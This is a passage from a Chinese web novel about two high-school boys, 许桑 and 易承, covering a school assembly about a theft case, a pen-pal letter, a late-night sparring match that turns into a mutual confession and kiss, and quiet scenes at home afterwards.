教育完,她关上门,刚想说“没事了”,就见其中一个少年闭着眼像睡熟了,到口的话转了个调,她小声说道: “天是有点晚了,在这睡一晚上也行。屋里暖气足,我们平时晚了也经常睡这。” 许桑顿了一下,收了要叫人的手,回道:“谢谢。” 所里电话栏始终处于噤声状态,黑框眼镜整理完今天的资料,又给许桑看了一眼后,将灯关了,说了句“晚安”后就走进旁边的休息屋。 尽是睡袋睡垫的小屋子,还隐隐传出些熟透了的呼噜声——莫名哼唧一声后,停了。 合理猜测是被踹了一脚。 许桑用空着的手摸出手机,浏览了遍梁意杉发来的小型联考题,在某道题停了几分钟,正想下滑,他忽然一顿,摁灭屏幕的瞬间放下了手机。 人在熟睡状态下,肌肉张力会下降,四肢近于自然放松。 易承就是这么个状态:早先搭他大腿上的手,跟没骨头似的垂下,不知怎的,徐徐向下滑落。 隔着校裤面料,触碰。滑蹭过他大腿内侧,见势还未滑止,许桑迅疾地按住他的手腕,指腹卡在他凸起的腕骨上,没敢用力。 呼吸先一步乱了阵脚,他沉沉地看了易承良久,才收着力道小心翼翼地将他的手推开。 一系列动作做完,他皱眉: 他这是怎么了? 明明冒犯的是自己,还生怕对方有点什么。 半晌后,他呼吸落稳,重新握住了易承的手——大概是觉得这样更安全一些。 按生物钟时间醒来时,许桑看了眼空荡荡的身侧,静静停顿了一会,才起身,直赴学校。 从出租车上下来,他着实犯困,进了教室,也没开灯,坐下枕着胳膊便睡了。 清晨的第一声鸟啭响起时,教室里开始有了人。 陈慢要做这周周一“国旗下的演讲”,来得是前所未有的早。从后门踏进去,他拍亮灯,没看清但贸然看到后排座位上的“头”,惊得一秒飞跳出了教室。 他瞪圆了眼,抬手开了三倍速一样拍着胸脯,久久,才探进去个脑袋。 发质偏细软,没打理,稍显凌乱,但连进校服里白而长的后颈过分惹人眼……这么个形象,鬼可摊不上。 认定是许桑后,陈慢长呼一口气,踮起脚尖慢动作摸回了自己座位,见才七点零几,距离大部队来临还差得久,轻手轻脚又把后排的灯关上。 刚把集八方智慧拼接好的演讲稿拿出来,才默读上一行,后门突然摔进来个人。 他回头——就见吕丁四肢并用地在地上扑腾,腾了半天还站直,避之不及地看了眼许桑的背影,直到对上陈慢的眼,才豁然咧嘴,“我靠。” “嘘。”陈慢及时打住他的惊呼。 “哦哦哦。”吕丁踮起脚尖回到座位,小声,“刚给我魂都吓没了,不过连头都这么有范,肯定是许哥。” “同款想法。”陈慢看他一眼,“你来这么早干嘛?” “学习啊。”吕丁横过食指抹了两道人中,“我是真的要发力了……不过你怎么也来了?” “演讲稿啊。”陈慢坐在桌子上,“别烦我,我要开始背稿了。” “谁他妈烦你。”吕丁从书包里掏出十几张跟废渣般的试卷,“别烦我,我要开始学习了。” “……”许桑食指轻弯,听完对话,在心底笑了声。 不愧是成绩一直一上一下挨边的人,蠢都蠢到一起去了。 操场,迎着冬阳慢吞吞地升起,金光大放,红旗在熠熠光彩下迎风飘扬。 陈慢拨了拨话筒,没收住力,话筒当场被旋飞了:“……” 跟他打配合的李纳,把话筒递给他,无语地低身去捡滚到自己脚边的那个。 “谢谢。”陈慢清了个嗓子,“尊敬的领导,亲爱的同学们,大家早上好!我是陈慢。” 李纳晃了晃话筒,“我是李纳。” “今天,我们国旗下演讲的主题是:诚信值万金,青少年当以诚为先……” 等这段演讲结束,台下有人冒了句:“这怎么越听越像是在给我丢的那两块钱鸣不平啊?” 还没引人进一步思考,一袭正装的中年男人走到台中央,没开口先用气势给大家吓了个结实: “同学们好,今天由我跟大家做一则思想教育,鉴于星期六近十位同学的盗窃行为。经学校讨论决定,对带头盗窃的邓茂光同学处以记大过处理,其余同学按记过处理,并提交五千字手写检讨……” “啊?小小邓!黑暗战绩又添一项啊!”吕丁嚯地张开嘴。 许桑向台上看了一眼,便无所谓地收了视线。 迟迟没见身边的人来,他正想回教学楼一趟,就见徐富咧着个太阳形嘴径直朝他走来,一巴掌就要落他肩头时,许桑退了一步。 “……”徐富趁势灵活翘了个兰花指,又趁势落在了旁边吕丁的肩上,硬笑:“许桑啊。” “在。”许桑回道。 “对你见义勇为、足智多谋的行为,等会有个简单的发言环节。”徐富想摆出一副松弛样,半个身子的重量都要压吕丁身上了,“你准备准备,就可以去候着了。” 许桑轻顿,“易承呢?” “要让那小子上去,场面容易控制不住。”徐富对易承还是有些个持久印象的,怕他上台一阵嫉恶如仇、给场子掀了,想想都头痛,“还是你去比较好。” “……”许桑没再多问,熟稔地向侯台走去。 “老徐,老徐。”吕丁被徐富的重量压得眼冒金星,嗑着上下牙齿艰难出声:“我人没了。” “年轻人说话,得图吉利。”徐富弹了他个脑袋蹦,“别成天没不没的。” 吕丁嘴角抽了下:“您有理。”说完,见徐富走开,他拧了拧胳膊,吐槽:“怪不得教不了物理。”- “许哥,你怎么来了?”陈慢正把黑白西装换下来,刚裹上校服,就见许桑迎面走来。 许桑坐下,“发言。” “这业务量,牛啊。”陈慢也跟着要坐过来,但想想,许哥不太像喜欢跟别人挨边坐的人,便新搬了个凳子过来,“我听上面那人说,小小邓那事,你有大功,也太牛逼了吧。” “易承的。”许桑说。 “易哥?”陈慢脑子宕机了一秒。 许桑疑惑:“怎么?” “没怎么,只是觉得有点……说不上来的感觉。”陈慢四十五度仰望天花板,“不像……就感觉,唉,易哥好久没有做过这么传奇的事了。” “嗯?”许桑好奇地前倾。 陈慢起范:“想当年,易哥借获奖宣言,把抄出个位数分数的小小邓内涵得半个月不敢抬头。老徐追了易哥好多天,才勉强让易哥上台做了个道歉,哪知易哥说:‘委婉的不行,那直白点。’然后小小邓请了一个月的假——虽然听着过分了点,但是是真的让人忘不了一点。” “轻了。”许桑评价。 “许哥,你更是重量级选手。”陈慢竖起大拇指,“不过我觉得小小邓肯定不止作弊那么简单,易哥的生气阈值还挺高的。” “嗯。”许桑双手交叉,心情貌似不太好。 思想教育做完,中年男人意犹未尽地看着话筒,才慢慢喊出下个环节:“接下来,我们请证据提供者之一的许桑同学发言。” 才被上至五千年下至今日头条的名言名句名案名例洗心洗肺、改头换面,满操场的人多少有些发愣。 才清醒,许桑就下台了。 徐富扶着班牌,心里咯噔一声:这也太他妈简短了。 “我操,我男神说什么了?我竟然放纵他的话从我右耳朵出去了!” “我左耳朵留下了,他说:‘人赃俱获,没什么好说的。’” “有什么寓意吗?上次把他的发言写进作文里,冲了个48,这次又来薅薅。” “没什么寓意,不过就那个语气,感觉想给那帮人刀了。” “不是,许桑的气场有点强大啊,要放修仙世界,感觉对视一眼我就成三段了。” “是我我也想刀人,偷别人的东西,不是有病就是脑子有坑……我存了好久才上百,给那帮人摸了,要死啊!” “所以——” “所以你们的钱暂时回不到兜里。”徐富坐回讲台上,“统共三千出头,二班统计下来丢了八千,三班丢了四千,老子上哪去找钱?” 教室哄然笑成一片,有些报出自己丢了几大千的人,也红着脸无事发生地垂下头跟着笑。 徐富拍拍手:“行了,这事告一段落,至于钱的归还问题,等学校的智囊们拿出方案再说。” “还有智囊呢,哈哈哈……”吕丁转头,“许哥,你说——” 他话头停下,定定看着两个脑袋趴着,收了话术,挺直了背地看向黑板,还用手肘推了下赵鸿途,“背挺直点。” “为什么?” 吕丁硬凹:“有利于脑部血液循环。” “……”赵鸿途挺直了背,“哦。” 第55章 第55章 【“哥个屁。”】 “您有新的信待开启。” 许桑脚步一顿, 在月色铺展的小区楼下,就近找了处长椅坐下。伸手拨停耳机里1.5倍速的听力材料,他点开了“Serendipity”, 接收了那封信。 “亲爱的sy2onacfksx: 展信如晤。 乱码朋友,聊了这么久。容我冒昧问上一句,你的感情史一片空白吗?咱两个大老爷们,不至于都空白得锃亮吧? 不过, 就算你是,我也不嫌弃, 信还能继续写, 生活还能继续分享。只是,反正我快没那么空白了——你就吃点边角乐乐呵吧。 我喜欢上一个人。 具体是怎样一个人,性格挺冷,脾气挺大……说到这,我觉得他跟你挺像,隔着信纸都能闻到火药味, 在大太阳底下读信都怕聚焦燃了引火上身。啧,好歹你也是跟我一来二往几十封信的朋友。这只能说明我挺专一,喜欢的都是一类玩意。 开始不太确定,只是觉得跟人呆一起舒服,睡得都踏实不少;渐渐的,还他妈有些生理反应,跟上瘾了一样想搂他的肩爱抓他的手……没办法,我上网问询了一遭。结果不是骂我“色.批”就是让我滚去表白。 给二选一, 自然选后者。但,具体怎么个表法,我这个情感瘸子还把不准。据我的了解来看, 表白失败顶多被他狠揍一顿,我皮糙肉厚没什么大不了。既然结果不论,那得讲点过程。乱码朋友,虽然你什么样子我不清楚、什么背景我不了解,但,目前信你。支个招呗?不是什么损得没边的招都行。 写信人:借点儿光。” “……”许桑起身,将听力上调到二倍速,上楼。 推开家门时,听力提前了些结束,许桑站在寂静里换鞋,抬头竟莫名觉得陌生。 属于这间屋子不属于这间屋子的人现在都不在。窗帘两侧束起,窗户大开,从阳台延伸到鞋柜,沾了成片的寒。 他先把手机归还给充电器,而后进房间拿了套衣服进浴室。 指尖勾住短袖脱下来时,他定定地看了一眼易承的衣服,才扔进盆里,走到了花洒下。 刘姨不惯于用洗衣机,用起来还不如手洗来得顺当: 她先得给每件衣物细致清淘,而后才扔进滚筒启动——多少多余了些,还惹得清洗池内外染上水渍,尤其是角落里没擦到,窝水。 许桑调了模式启动后,顺手取下搭在一旁的干帕子,要擦下去时,顿了一下。 几毫米深窝着的水里,泡着一湿透了的纸团,已然形变,上面的字迹浮展变胖,但尚能辨清——“抱歉。”隔了些距离,还有上次因交折而没注意到的字眼:“你易哥。” 将这颗不规则的“心”包进帕子里,扔进垃圾桶时,许桑嗤笑一声: 哥个屁。 披上件外套,许桑从书架顶取出新的试卷。转着笔才做两道,他回过神来,把两道题的答案尽数叉去,重算。 两分钟后,他又叉掉了新做好的一道题。 “……”什么毛病? 许桑落笔,食指轻刮了些眉心,摸过了一旁的手机。 可能题太简单不容易定神,昨天梁意杉发的题,还有几道没做……想着,他点开题。视线清明,却见点开的是和易承的聊天框。 巧的是,点开的瞬间,弹出了两条消息。 一张图片:上面是道没标题号的导数题;一句语音,声音染着夜色般,透出挠耳的磁性:“许哥,帮我做做?” 许桑偏头,压下耳垂连同心底的痒意,重新勾起笔,看题干。 扫完:题不难,甚至于很基础。 “……”许桑看着三两笔便写完的过程,皱眉,回复:“你自己能做。” 但隔了一会后,他还是连过程带答案发了过去- 风波一停,学校就回归本性:掀不起一点风浪,平静得像是块假湖。 说白了:没意思。 自从倒计时开始以17开头,各科老师吃了疯药一样,上课前必灌一碗鸡汤。词汇量低点的,翻来覆去就是那几句……演变到后期都成了集体朗诵、给某位惊得都没面子只能以欣慰点头结尾。 “……唉,你们知道就好。”徐富抹掉那两颗不存在的泪水,发卷子,“我又淘了套名校的题,有兴趣做了自己来找我要答案。” “那没兴趣的呢?” “没兴趣?!”徐富脚下一个踉跄,差点跪地,“没听过一句话吗?数学是我们的情人,只能用持久的和孤寂的激情来追求她……” 还没背完,就有人勇敢打断:“别,老徐,您的,您的,我们不跟您抢!” 哄笑中,徐富无奈地晃晃头,将最后一摞卷子交出去,就又回到讲台上,评卷。 下课又上课,日子就是这般平淡。到周六下午的公共自习课,一般由班主任守,讲些注意事项,而后学生自由做哪科作业——而此空隙,就不乏有老师趁机捞几个学生去做思想教育或是成绩点评。 当然,这种老师,九成九是徐富。 “还记得我们的学习计划吗?”徐富例行公事地开始两周为一期的公布,“根据综合评定呢,李云平小组综合评分第一,其次是陈慢组……最后一名是菜成琨组,没什么,就扫厕所哈!” “咦~扫厕所,香传十里!” “其实一开始厕所没那么臭的。只是自从开始一周两考、各种联考模考诊断考,都内分泌失调吧,拉屎拉尿越来越有味儿了!” “这惩罚,够呛。” “诶?陈慢组不是有许学霸在吗?居然没得第一,挺搞笑啊。” “这不是带着一堆拖油瓶吗?能排第二都算本事不错了。” …… “行行行,别吵吵。”徐富掏了二十块出来,在众人盯香饽饽的眼神垂涎下,交给了李云平,“继续加油哈。同学们也要向这组同学学习。” 而后,一步没停地走到最后一排,立定腹语:“出来。” “……”后三排的人齐齐回头。 徐富摸头,解释:“易承,跟我走趟办公室。” 两人并肩走出教室,没几分钟功夫,前门口就忽地踏进只高跟鞋,白晓莉抱着一摞答题卡,头都没抬喊道:“易承,来我办公室一趟。” 陈慢正要上讲台守自习,闻声,当即一屁股倒坐在了地上。 第一排的女生往后没寻到班长,代为回道:“在老徐那。” “真是。”白晓莉又一脚蹬出教室,“叫老娘白跑一趟。” “起来了,傻逼。”吕丁伸脚,踹了脚陈慢。 “是这样的。”陈慢无事发生地起来,“大丈夫能屈能伸。”- “最近学习如何啊?”徐富把易承的个人综合成绩条打印出来,握在手里独自看着。 他暗暗在心底叹气: 比起其他老师,他是唯一了解易承家庭状况的,还是托关系知道的——死缠烂打徐贵套出来的……所以,看着易承,他总会多多少少带些曾经的滤镜。 易承勾过椅子,在他对面坐下:“还行。” “你这……还挺随和。”徐富前一秒看他顶高一条站着,后一秒就只需要稍稍抬头,顿了一下,把折线图递了过去,“看看。” 高一进校起,老徐曾说:别看你们现在吊儿郎当什么都不当回事,等上了高三,成绩分析图一出来,你就知道什么叫回事了。 易承接过,看着图名:“理一班易承:历次成绩排名汇总表。” 工程量肉眼可见得大:大大小小的考试都汇总了,从高一上册为数不多的几次,到现在单一个月就能有上十几次……折线起点在最高位,同水平位走直线走了很久以后,陡然下降,而后一起一伏最终定于山腰,以微不可察的变化波浪状盘桓其间。 他看着这些起伏,指尖轻颤。 “壮观吧?”徐富上半身向前凑。 易承点头:“壮观。” “既然这么壮观,易小子,如果没有那些额外负担,考不考虑折上去?”徐富伸出食指,点在横坐标标记为“高考”的那处,向上,对标至一个红点,“折到红点,坐标(高考,1)?” “您——”易承视线从纸上上移,正想说“玩笑呢吧”,对上徐富被泪包裹的眼,没再说话。 “我怎么了?”徐富理直气壮,摸了把眼,“我就这点愿望。” 易承轻顿,转而笑道:“那我同桌呢?” “破坏气氛。”徐富一根食指打到他手背,经他提醒,收回来时往下挪了一点点,“你要能超过他,我就更高兴了。” “我没那么有本事。”易承平淡绕开话口。 “那不能,我看上的苗子。”徐富长叹:“按你的水平,现在开始沉心,虽然是不太可能考过许桑,但只在他下面,肯定没问题。” “……”易承看着他指尖,轻顿,回道:“如果可以,还是想在他上面。” “好啊,有志向!”徐富乐呵呵地把会议笔记摸出来,念道:“学校今年特意提升了金额。去年市状元,得的是三万;今年特地提到了五万。你说说,这——” “谈完没有?”白晓莉把门推开,走进来,将顶头那张答题卡拍在了易承手边,“我找他要点解释。” “……”徐富摆摆手,心疼地像是在目送易承,“白姐,你要你要。” “你小子,是不是不会好好学习?”白晓莉瞥到那张折线图,一把抓起来,看完呵笑,“哎哟,这不看看,我都忘了你之前还考过第一呢?现在是天赋用完了,黔驴技穷?” 易承转了视线看向她,问题太密集,他选择沉默。 “说远了。这次的周考,我有没有讲过,作文分论点跟论证分开写,你怎么偏偏要写在一起……你要是是我儿子,我早一脚踹出家门了!” 易承始终保持沉默。 白晓莉的战斗力,从不需要夸张手法:就是听得事外人瞌睡连天,当事人逐渐若无其事。 易承从办公室出来时,教学楼近乎空无一人。 他回了趟教室,背过身坐在课桌上,一脚搭在椅子上。他垂眸,看着手中的折线图,指腹下压,指尖不可抑制地颤抖- “酒?”超市老板扫条形码时,说道:“还这么烈?” “成年了。”许桑没多解释,付钱后,拿过酒瓶便出了超市门。 超市老板往外看了眼,叹气:“我都喝不了这么烈……害,单纯的关心嘛!” 许桑单手握着酒瓶,有方向有目的地走着。 站定在熟悉的街头时,他倚着墙,翻出了易承的电话,拨通。 “约一架?” “约一架?” 两人几乎异口同声,语气间都带着分明的试探,尾调停顿瞬间,都陷入沉默。 第56章 第56章 【“那我表个白。”】…… 许桑是来表白的。 约架是假, 约人是真。 为此,他特地换了身衣服,还买了瓶酒……只是, 易承这一句压着火气的“约一架”,倒是给他整得有点懵。 “……”这一架,他到底赢还是不赢? “嗯?”易承从课椅边缘移开腿,兜里摸了张纸弯身擦拭。等了良久, 见疑惑没得到回答,妥协性地问了句, “你在哪?” “在——” 许桑停顿了。 朝昏区老而旧, 惯常了那种讲总不讲分的传统,因而以无名路无名巷居多。除了些过于标志的小区、建筑物,基本很难单独标榜名字。 他环视四周思考。 “共享位置吧。”易承站直,勾了书包就往外走。 “……好。”许桑摁亮手机,在软件里翻找。 从地图上看来,两人的位置不算远得离谱, 但也不近,能走上个二十分钟。 许桑没挂电话,闲得紧,就听着那头些许杂乱的背景声,从分明而跳动的下楼脚步声,到微弱蹭树的风声……他看着屏幕,看着上面两个红点的直线距离逐渐缩短,心跳有毛病一样变速加快跳动。 入冬后, 昼短夜长。 白日吞吐于黑夜间的时间线前后,行人匆匆往家的方向奔忙,好似入夜之后, 会卷入什么天大的秘闻。 许是离公交站台近,“回家”的一波接一波,还不少。 时不时的,由稠到疏的,有人频频侧目。 许桑立不正,喜欢单脚踝朝墙内处扣,随后整个身体重量向后分摊……偶尔对上形形色色十几双眼,他疑惑地敛眉。 “看屁。”他低低叹了句。 “怎么了?”捕捉到动静,易承脚步快了些,问道。 “没。”许桑目送走一个眼睛快偏到后脑勺看他的男生,冷声回道:“被当猴了。” “那我快些。”易承轻笑一声,笑完,忽而痞气,“许哥。” “嗯?” “沉沦于美貌,也不是没可能。”易承眉眼弯着,“换作是我——” 他停顿,本没想继续,但奈何许桑追问:“换作是你,怎样?” “换作是我,”易承换了个话术:“高低多看两眼。” 偏上扬的语调,少年的音色,像度数不高的酒,带着微弱的陈酒气息,却酿而不深,尚裹着原初的生命力。 许桑沉默良久才“嗯”了一声,在他勾动书包带、估摸是抢红灯而快步奔跑、指尖擦过手机麦克风等各类发出的时强时弱的杂音里,思绪逃逸了。 就刚刚那声,他不确定自己先是迷上了易承的音色,还是先迷上了这个人。 他向来不喜欢不确定性的存在,所以,自从对易承起了些飘飘忽忽、半朦半胧的非一般情愫,他便在寻找答案。 直到“借点儿光”——那位没脸没皮却也真性情的笔友的来信。逻辑链条顺直合理,他当下便起了认证的想法。 这是最后一步——表白不为别的,单纯打破不确定性的缠绕。 成了如何他没想过,不成他倒是思虑的周全。 一瓶近四十度的调制酒,足够他醉得渣都记不起……不确定转为确定,他的生活也照旧。 直线距离骤缩,许桑回过神来,还没看清具体差几百米或是几十米,“共享位置”就被对方切断,而后,听筒里传出声音。 “你这身穿的……没人看才怪了。” 易承隔了些距离看他,高挑的个头,身材比例也是一绝。 黑色贴合他平日的气质,卫衣帽子扣在头上,罩出眉眼间一横阴影,让人不觉生出一种想要掀了帽子一窥究竟的念头。长颈线条流畅,在黑衣衬点下,白得诱人。 “……”许桑听声辩不了位,向左侧望去,不见人影,正偏过来,易承的脸就忽而凑到近前。 鼻尖擦过,他捏紧了酒瓶。 “吓到了?”易承挂了电话,眼神随意地看了眼他身侧提着的酒,弯身接过,不解地又看向他。 “嗯。”许桑退无可退,只能直视。想起他发起的“约架”,问其原因:“今天心情不好?” 易承点头,退后一步同他并肩靠墙而站,“不好。” 正要细问一番,就听他又开口道:“不过看到你,又好了。” 许桑偏头看了他一眼,“那还打吗?” “不是你想?”易承抛接酒瓶,看清上面的牌子和度数,挑眉。 “那,”许桑将手机丢进兜里,掀了帽子,“来。” 这次同上次不同,易承没带什么脾气。 虽说从办公室出来,一时心里窝火找不到出气口,但他说的是实话,看到许桑的那一刻,什么坏心情,跑的影儿都没了——更准确来说,是听到他声音时。 一来二去间,除了被动的躲,他都没主动出击。 “能不能来点劲?”许桑打得烦躁了,“没吃饭?” “……”易承食指刮过鼻尖,笑,“那我发力了。” 话落,他侧臂握拳,格挡完许桑生硬的攻势,向旁转身,转回的瞬间抓上他小臂,向下环住他手腕的同时,长腿一横落在他稳重心的右腿。 “嗯…”许桑没受住地,唇间溢出一声闷哼。 见状,易承轻勾唇:这些习惯性动作,基本就是破绽点,打一次够他记住了。 逮住对手反应这个空档,他连势上前攻击。照许桑的要求,没收力,甚至给足了劲儿,以至于扣过他的手臂压到墙面时,许桑都没挣扎动。 “给力吗?”易承弯过手臂,借着校服擦了下额间的细汗,邀功似的上赶着问。 “……”许桑皱眉,“上次你没全力?” “嗯。”易承知道自己心情不好情况下多少有些发狂,“怕伤着你。” 许桑偏眸看了眼被攥得死紧的手腕,“现在不怕了?” 易承看着近在眼前的许桑,尤其是看着他微微打颤的长睫,眉尾轻扬,“不是你要求的吗?” “我输了。”许桑活动了下手腕。 “嗯。”易承道。 许桑见他一动不动,轻顿,“可以松开了。” “哦。”易承似是后知后觉意识到这一点,抬眼看了下被压在墙上发红的手腕,慢吞吞地松力。 “……”许桑转了下手腕,呼吸平稳后,他抬眸,带了些利劲地,问道:“清醒的吗?” 问题没厘头,但不妨碍他回答得麻利。 易承:“清醒的。” “那我表个白。”许桑按捺住心里翻涌的潮动,面上风平浪静地说完后半句,“大概率,我喜欢你。” 易承顿住,“你——” 许桑:“我是许桑。” 易承此时就像是被小孩疯玩的拨浪鼓,他是鼓面,许桑的话就是那前后夹击的弹丸,锤得他消停不了半点。 乍一比对,两人身高差不离。但许桑站得懒,易承本身又高出那么微弱的一两厘米……易承本该占据更上位些的位置,但,他顿住了。 许桑显然清明得多,如果忽视掉他带着颤意的声音:“要想多久?” 虽然他一向喜欢直截了当迅速完事,但这种事情,谁也不是行家,等上十天半个月也没事。 他能等。 想着,他偏头:还是数学题的答案来得快,自己给力就够了。 “不是,我是说,”易承回过神来,耳中反复回响他的声音,脑子宕机了好久,他才缓缓出声,“你抢我词了。” “……”许桑默住了- “这瓶酒是?”易承脱了校服搭地上,拉着人坐到了马路牙子上。 入冬后的夜,他不怕冷一样,单一件白色长袖,双腿张开,膝盖间,手指旋着那瓶酒,偏头笑问:“不答应就一酒瓶抡死我?” “……”许桑想说,从始至终酒都无关于他。漠然回道:“你话再多一点,它就能派上用场了。” “你这嘴,真是。”易承笑着,没多想就拧开了旋转盖,递到他面前,“尝一口?” “不用。”许桑伸手挡过,经酒味一撩拨,才想起这人方才含糊的回答,直白问道:“所以,答案是?” “答案?”易承连送到嘴边的酒都没喝,往旁边挪了些,伸手揽过他的肩,笑盈盈地凑他耳边说,“许哥,你问的是问题吗?” 许桑:“……” 许桑轻顿,要偏头躲开他温热的气息,侧颈就被搭上。易承控制着力度却仍有力地制止了他的动作,继续说,“我问你答。” 易承单手拎着酒,没个正形地勾唇,问:“做我男朋友吗?” 许桑看向他。 非主动,被易承指尖拨过来的。 “还是说,”易承直勾勾望着他,“要想多久?” 见许桑只是盯着自己不说话,易承忍不了,手指一转,握着玻璃瓶口向下些许,而后仰头,衔着瓶口灌了一大口。 烈性龙舌兰主调,夹带着酸性柠檬汁,清爽灌满口腔。 许桑细细看着他的动作,看着酒液缠绵于他唇瓣间,沾染、濡湿。比之平时,这张唇,水润多了。 也诱人多了。 颈侧的手收了力,只是虚虚搭着。许桑看着他第二口喝完,喉头滚动的刹那,他倾身。 他四指并拢与大拇指分开,钳住易承脖颈后,食指指根用力,顶得易承被迫抬起下巴。 与之同时,许桑挣脱他手臂的勾缠,垂眸轻轻碰了下他的唇。 第57章 第57章 【“表白了,没别的。”】…… 像带着电的羽毛尖刮过, 软中含痒,刮过之时,偏偏又带起一阵酥麻与战栗。 明明就一秒的事情, 这一秒间,却足够呼吸乱了节奏、心脏卯足了劲地跳动。 易承回过神眨眼时,许桑已经向后退出一拳距离。 这一刻,全凭本能地, 易承利落出手托住了许桑的后脑勺,没用力, 反而相当顺从地、紧随他的后退向前倾身, 为稳住身形单膝跪到他腿侧时,指尖勾抬起他的下巴吻了上去。 唇齿磕碰,许桑下意识偏头,却被箍得更紧、被迫后仰。 “嗯…够了。”抢着苍蝇腿大小的空档,许桑在晃荡的气息中艰难出声,同时手附上易承的胸膛, 使劲将他往外推。 易承轻易卸掉他的反抗,闻声反倒变本加厉地衔咬住他的下唇。 “……”聋子吗他! 许桑敛眉,酒味从唇瓣向内延伸,眼见大有攻城略地之势,他急了,无计可施只能迎上去、牙尖勾过易承下唇,用力咬了一道。 “属狗的吗?”痛意之下,易承偏过头埋在他肩颈处, 凌乱的呼吸洒在他裸露的肌肤间,像燎原的火,一经撩拨、便无偃旗息鼓的可能。 许桑被吻得脑子发胀, 估计气没喘匀憋得慌。他从易承手中挣出手来,微喘着骂道:“你他妈再生猛点?” “啧。”易承轻笑了声,舌尖扫过唇角,将渗出的血珠舔舐掉。 明知许桑这语气何意,他却偏装作一副不知道的模样。音色像酒液的化身,醉而撩人,他哑声:“还要啊?” 许桑顿时脸生薄红,膝盖对着他腰腹便是用力一顶,“滚。” “诶!”易承手心托住他膝盖,消解了他的攻击,忙道:“好好好。”话落,他乖巧地往后退。 却不料一个动作维持太久、跪着的那条腿发麻,他力不对点,起身到一半又压了回去。 “……”许桑嫌弃地看了眼他的膝盖,“毛病?” 到嘴的“跪久了,”被易承没脸没皮地改成了:“嗯,亲久了。” “……” 许桑给了他一脚- 风将热意一点点磨去,将夜的气息千手万手捧进了朝昏区街头巷尾。 两人沉默并肩坐在马路沿,易承嘴角勾着,晃悠几下酒瓶之后放下,偏过头去,问道:“今天几号?” “18。”许桑脱口而出,怕易承脑子缺氧抽了,还补充说道:“12月。” “嗯。”易承点头,“记住了。” 话落,他试探性地伸出手,指尖点在了许桑搭腿上的手背,见对方没有立刻回缩,他无声一笑,更放肆地从许桑臂弯里穿过,稍顿,五指微张,卡进了他指缝间,下握。 许桑静静看着他的动作:小心翼翼的,就像在触碰混合洗涤剂制出的圆泡泡,生怕一用力就散碎不成样子。 看着看着,他反应过来。没再像上次那样没头没脑问“掰手腕”的事,而是极其配合地,回扣住易承的手。 没两秒,许桑就松力,觉得很幼稚,索性直接收回了手。 指节之间,从紧贴到轻碰,还没完全分离,易承反手就握住他的手,打趣道:“怕什么?” “没怕。”许桑偏过头去:只是有些不自在。 “嗯。”易承指腹摩擦着他腕骨,目光从他微红的耳垂处移开,眸光染笑地落在绵长而漆黑的马路上,转而又落在被风刮得残叶乱飞的街道,晃了晃他的手,“再坐下去明天该感冒了。” 许桑看了眼他单薄的白色长袖,先一步起身,“回去?” “好。”易承捞起地上皱巴巴的校服,单手抖灰,抖完,搭在臂弯间,“我送你。” 该说不说,平日里走着还算漫长的一条道,今日走到许桑家楼下时,两人都顿住了。 易承轻叹:“这么快?” 他始终握着许桑的手,里里外外都捂暖了,此时不太舍得松开,便“腆着脸皮”问道:“要不再走走?” “……”许桑用力挣开他的手,走开一步淡声:“要走你自己走。” “啧。”易承看着他这清凌凌的模样,笑得更欢了,跟着他走了两步,就在许桑脾气到位回头想说上句什么的时候,易承又蜻蜓点水地点了下他的嘴角,“明天见。” 许桑顿在原地,还维持着方才的动作,目送他欢脱而克制的背影消失在小区里,滞后性地,轻笑了声。 傻子- “秋秋,今晚想吃什么?”易承进门换上鞋,嘴角就没下来过,逮着目不转睛望着动画片的秋秋问,“什么都行。” 听到吃,秋秋两眼放光,光着的脚立马踩在沙发上,蹦跶着跑到边缘,“想吃火锅!还有鱼!也想吃糯米饭!还要戚姨的包子!” 吃这么杂……易承下意识皱眉,不过奈何他心情好,应道:“好。” “啊?”秋秋眨巴两下眼,借着沙发的增高,伸手勉强戳了下易承的下巴,“哥,你不是说这么吃,要先预订两晚上厕所吗?” 易承笑了声,“那是平时。” “真的吗?”秋秋踮起脚尖摸到他下巴,“那你为什么笑这么开心?” “有吗?”易承轻轻拍开她的手,想想后回答:“反正不是因为你。” “……哥,你变了。”秋秋瘪嘴,坐回沙发上,就见易承弯身在收拾茶几上的残留的零食袋,正巧动画片进入“广告过后,精彩继续”阶段,她双手环抱看着她哥,想要一探究竟地望着,隔了两秒,她突然一惊,“哥,你挨打了?” 挨打所以性子软,性子软所以答应她各种吃食的要求吗? “没。”易承皱了下眉,不知道她小脑瓜一天天都是些什么稀奇古怪的玩意,又谅她正是个天马行空需要想象力的年纪,不好提前截断,便呵道:“完好无损。” “嗯,”秋秋伸出食指一指,“哥,你嘴巴都破了。” “……”这都什么用词。 易承抄起一旁的小镜子看,不过是下唇处擦了点皮:“不小心咬到了。” “那也太不小心了吧。”秋秋指着那处伤口直笑,“哥,明明是你更蠢!” “……”易承难得没跟她怼回去,反倒点头应了她这点评,笑着往厨房走。 秋秋看了几眼,葡萄大的眼睛又转回电视上,看着熊掌拍出“第一集”,又激动不可遏制地转移了注意力。 最终,易承只准备了火锅和糯米饭,毕竟他一不是戚姨,二没在这个时候找到鱼。 “哥,好吃!”秋秋举起筷子摇摆。 “我知道。”易承对这桌热气腾腾的菜没什么兴趣,扒了两口米饭后,打开了跟许桑的聊天框。 不过那头似乎在忙,没理他。 秋秋在碗里奋斗十多分钟,终于舍得抬头,一眼就对上她哥看着手机眉眼冷淡,瘪嘴吐槽:“哥,你脸好臭!” “……”易承抬头看了她一眼,“吃你的饭。” 秋秋把空碗放下,骄傲地抬头:“我吃完了。” “嗯,”易承看着波澜不惊的手机消息栏,说道:“大人的事,小孩别管。”- “不是,许哥,你今晚这么闲吗?”梁意杉看着通话时长已经突破两小时,又看了眼书桌上快铺满的试卷和草稿纸,头疼地问:“我这一周做的题都没今晚听得多。” “……”许桑转了圈笔,看着视频里的梁意杉,轻顿:“是挺闲。” “你是不是,遇到什么事儿了?”梁意杉眼睛一眯,cos了两秒某知名侦探的标志性动作,“看这样子,要么是心情不好,要么是心情太好。说吧,到底怎么了?” 许桑视线下滑,滑到卷面,才发觉上面有讲解必要的题都被讲完了,便摸出下一张,寻到了标志性的,“继续。” “别啊,许哥。”梁意杉把板凳往书桌里靠了靠,脸都要完全怼进手机屏幕里,眼巴巴地,“你越是这样,我就越好奇发生了什么。” “……”许桑选择沉默,直接翻到全卷最有挑战性的题看。 